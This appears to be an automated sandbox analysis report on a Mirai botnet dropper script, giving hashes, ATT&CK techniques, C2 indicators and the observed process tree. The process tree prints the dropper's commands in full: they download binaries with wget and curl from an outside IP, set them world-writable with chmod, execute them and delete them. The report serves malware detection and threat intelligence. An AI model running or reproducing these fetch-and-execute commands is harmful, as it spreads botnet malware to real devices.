mirai | f6393dcbcfee887795b9d00f1337dc795bd42a9b9920ea1bb0a297243e9144f7

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/09/2026, 09:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260901-lyfmrawfre
SHA256 f6393dcbcfee887795b9d00f1337dc795bd42a9b9920ea1bb0a297243e9144f7
MD5 5d8d90a9142aa3f4d43fb02c0ce9c3a6
SHA1 483403fe3e3eae0beb48c324ae22d97cf9bd65ba
SHA512 de55236395e0c10e55180a24558ea9f20f9107360eb2d9e26aed9c51f6d5733485aeeceb9582a4a97f41f48561c74a4d3e009538b1de49c929056879d24939b3
TLSH
T1D431A1DF40645F301042C98EB3B2344D799DA1FB29AFD7C1D9580DA9928878CF252B5D
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

a.tmpsrvc.zip
141.98.10.50

Extracted

Family

mirai

a.tmpsrvc.zip
141.98.10.50

Extracted

Family

mirai

141.98.10.50
a.tmpsrvc.zip

Extracted

Family

mirai

a.tmpsrvc.zip
141.98.10.50

Extracted

Family

mirai

a.tmpsrvc.zip

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
785	chmod
792	chmod
799	chmod
806	chmod
687	chmod
717	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/889b7c	688	ok.sh
/tmp/bf3aff	718	ok.sh
/tmp/0b93a7	786	ok.sh
/tmp/5d3833	793	ok.sh
/tmp/a9c307	800	ok.sh
/tmp/692be7	807	ok.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	bf3aff
File opened for modification	/dev/misc/watchdog	bf3aff

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	bf3aff

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sh	718	bf3aff
Changes the process name, possibly in an attempt to hide itself	sh	719	bf3aff

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	bf3aff

Reads runtime system information 38 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/654/exe	bf3aff
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/644/fd	bf3aff
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/721/exe	bf3aff
File opened for reading	/proc/577/exe	bf3aff
File opened for reading	/proc/596/exe	bf3aff
File opened for reading	/proc/1/fd	bf3aff
File opened for reading	/proc/286/fd	bf3aff
File opened for reading	/proc/316/fd	bf3aff
File opened for reading	/proc/318/fd	bf3aff
File opened for reading	/proc/596/fd	bf3aff
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/726/exe	bf3aff
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/169/fd	bf3aff
File opened for reading	/proc/280/fd	bf3aff
File opened for reading	/proc/296/fd	bf3aff
File opened for reading	/proc/577/fd	bf3aff
File opened for reading	/proc/591/exe	bf3aff
File opened for reading	/proc/597/exe	bf3aff
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/137/fd	bf3aff
File opened for reading	/proc/597/fd	bf3aff
File opened for reading	/proc/719/fd	bf3aff
File opened for reading	/proc/644/exe	bf3aff
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/222/fd	bf3aff
File opened for reading	/proc/721/fd	bf3aff
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/669/exe	bf3aff
File opened for reading	/proc/294/fd	bf3aff
File opened for reading	/proc/654/fd	bf3aff

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0b93a7	curl
File opened for modification	/tmp/5d3833	wget
File opened for modification	/tmp/a9c307	wget
File opened for modification	/tmp/889b7c	wget
File opened for modification	/tmp/889b7c	curl
File opened for modification	/tmp/bf3aff	wget
File opened for modification	/tmp/5d3833	curl
File opened for modification	/tmp/a9c307	curl
File opened for modification	/tmp/692be7	wget
File opened for modification	/tmp/692be7	curl
File opened for modification	/tmp/bf3aff	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:654
- /usr/bin/wget
  wget http://5.182.210.174/889b7c
  2⤵
  - Writes file to tmp directory
  PID:660
- /usr/bin/curl
  curl -O http://5.182.210.174/889b7c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 889b7c
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/889b7c
  ./889b7c bc
  2⤵
  PID:688
- /bin/rm
  rm -rf 889b7c
  2⤵
  PID:692
- /bin/rm
  rm -rf 889b7c.1
  2⤵
  PID:693
- /usr/bin/wget
  wget http://5.182.210.174/bf3aff
  2⤵
  - Writes file to tmp directory
  PID:695
- /usr/bin/curl
  curl -O http://5.182.210.174/bf3aff
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /bin/chmod
  chmod 777 bf3aff
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/bf3aff
  ./bf3aff bc
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:718
- /bin/rm
  rm -rf bf3aff
  2⤵
  PID:720
- /bin/rm
  rm -rf bf3aff.1
  2⤵
  PID:724
- /usr/bin/wget
  wget http://5.182.210.174/0b93a7
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://5.182.210.174/0b93a7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 0b93a7
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/0b93a7
  ./0b93a7 bc
  2⤵
  PID:786
- /bin/rm
  rm -rf 0b93a7
  2⤵
  PID:788
- /bin/rm
  rm -rf 0b93a7.1
  2⤵
  PID:789
- /usr/bin/wget
  wget http://5.182.210.174/5d3833
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://5.182.210.174/5d3833
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 5d3833
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/5d3833
  ./5d3833 bc
  2⤵
  PID:793
- /bin/rm
  rm -rf 5d3833
  2⤵
  PID:795
- /bin/rm
  rm -rf 5d3833.1
  2⤵
  PID:796
- /usr/bin/wget
  wget http://5.182.210.174/a9c307
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://5.182.210.174/a9c307
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 a9c307
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/a9c307
  ./a9c307 bc
  2⤵
  PID:800
- /bin/rm
  rm -rf a9c307
  2⤵
  PID:802
- /bin/rm
  rm -rf a9c307.1
  2⤵
  PID:803
- /usr/bin/wget
  wget http://5.182.210.174/692be7
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://5.182.210.174/692be7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod 777 692be7
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/692be7
  ./692be7 bc
  2⤵
  PID:807
- /bin/rm
  rm -rf 692be7
  2⤵
  PID:809
- /bin/rm
  rm -rf 692be7.1
  2⤵
  PID:810
- /usr/bin/wget
  wget http://5.182.210.174/ecc7a9
  2⤵
  PID:811

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0b93a7

Path /tmp/0b93a7
Size 67KB
SHA256 f99c9f901aaa71655d19744695e1e9e5a8355acc9c06deac3263d6c70ee28c6a
MD5 d60f41876d4d6880001a35eccc5c5576
SHA1 ef512d92d0b5ef2707e27e3cea5da0fa77f91424
SHA512 edb0ebc84d3cfd25c896d0e330e723c31d3c80e3fce6eeaa5212b1642823722ae2a46dc4cc449b1bc3e4b417c6f009ec6ece57c296c05ac3a5e0508abf55803c
SSDEEP 768:ijdCpewyFRfBrqH7HDXzFtIxCxseI5mVeqe32eCg4lDx0h00Xiqkr25/q0p:4dCpewORCPhMHXK7u2Zwud25iQ
TLSH
T10E63830ABF210FB7EC6BCC3749E51B46359C640B21A93B3A7934D818F60B65B59F3864
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5d3833

Path /tmp/5d3833
Size 45KB
SHA256 e5487800c7d76aa70f042a00bf6cdfda4dea3d47b3f9380aa62e0b977e628e90
MD5 c129e90b6a0632280f8b281dcb9f0618
SHA1 ded3c4b61de84f97becd0b89f5711e88445fc820
SHA512 1d3e4c31d384fa18335d1677dcc59ac7daf74347c6d1ba26d83922bde0604e52324195c3ba9033002ef4c7545db793e317711a49ff7aaa13d47ddd95e889b173
SSDEEP 768:clelZlh+PwtBBRN9eCUCyGekpSplC1l2jWqxxGwCnoO1uCh:cISPwtB39p4plCSWUxT3OuCh
TLSH
T1C6237D7AC82D6EC4C55C96786829CABC1B53E104C5A31FF647D2C9A644C3EACFA193F0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

692be7

Path /tmp/692be7
Size 65KB
SHA256 ccede6623541ba6a0fc3229a5918ae28434aa1fb9c399eda21e0fcc768ef99c5
MD5 b3a1b8b3fdd8374372342254e77d49e5
SHA1 720f58ac4ba158b9b265fed0a0491aa15ec6996a
SHA512 0f7fe9d4771b9ccfef289728a1e41010ac7a775269829903f6aeab9ca78aa38123a037b1c389f81b9094769259c8711c2b613c85e4a46c0057b90ed9ccdd56bc
SSDEEP 1536:rXXpOKyD100rKDrRpRbYrsQVGwal5Khxi+:9OjDO5rBbqVGvuhY+
TLSH
T1EB63A60A3E628FFCFB6D873447B79E319698339226E1D545E15CEA011E7030E645FBA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

889b7c

Path /tmp/889b7c
Size 49KB
SHA256 ec6e22487afb11f9c43d301ff1c4b6a5d682d6130795e036899f1940cd881cf9
MD5 b6cd8557eb76301921f696f87178b48f
SHA1 1ea2edc7bc0d91c778db0b716c0ca130011b403f
SHA512 7fd1926ab86f3bee4822d2f8a8a4370c396ec3933184a66c80df49e1f44f70c2b6b94d33328c2d169b10b0326f82ecf899f6e33d477e99ade8c8884e89c7688f
SSDEEP 768:FP7iHSUqwdNtcBLl/I5wlmNZHqvYtWFN7A5gXjDwIcUjdWZP:J2qwdjcBLlQ5wlmnHqeWFyCTkka
TLSH
T139330713B98180FCC08AC2740B7FB53AD43775BE0239B2A97FD8FB166A86E211E1D545
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a9c307

Path /tmp/a9c307
Size 44KB
SHA256 0499177053f928c01303c320f1294a9ab3e3e7a2a079f5867aaec76c5b492794
MD5 ebecbbd3f34429eedea448d9fec7c4cb
SHA1 1352cd4fba3be438b509811d7df215c9e1340edd
SHA512 b58bc88d9b90f95d6605ac38d1410879f36c2748cdae10e28fa7085cffa3cf4a98b21ee48798041162d6b86c4b4a6abb0719e657b3b65d828f1a6f0757cb023d
SSDEEP 768:DnrKxZUimqDS4mtQEE5PTrvC0BmIDKSOj9oxELi6Wa+/xliMezd2Xc:zufVDpmtQH5PTrvC0BmIDuuxELUayx8b
TLSH
T10D234AC4A947EDF8EC1607B1213BF7365BF6F437212CDD8BC39899239953A02960629D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bf3aff

Path /tmp/bf3aff
Size 51KB
SHA256 d7c1e3d1185ccbb37f983fa073cb0a2585c410a6703cdcf90ed152f9c2c30471
MD5 6dcdd5515cd5bf259f0e86ec3a782d48
SHA1 b2fccae3cbdef771776303cd4d099ee4b094d8f7
SHA512 e296e8db416230d7e26e8ff64d8552eb6addd514b71d93a2687fcd0c83b123b4d66fa08218585ac8d410d6afd92eafe56d41f596d7c735d551df61bd00400a21
SSDEEP 768:nciTxwAAo7758yVIoEavixJYrrxVglC/qWgpCmAAUS3L+adZnLWM4ZQoNkaPNOPG:ciTxOYsaRgpFjHLWMk8I
TLSH
T11533F781BC929612C5E423B7FA6E42CD332563A4D2EF3213DD222F11779A92F0D7B651
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads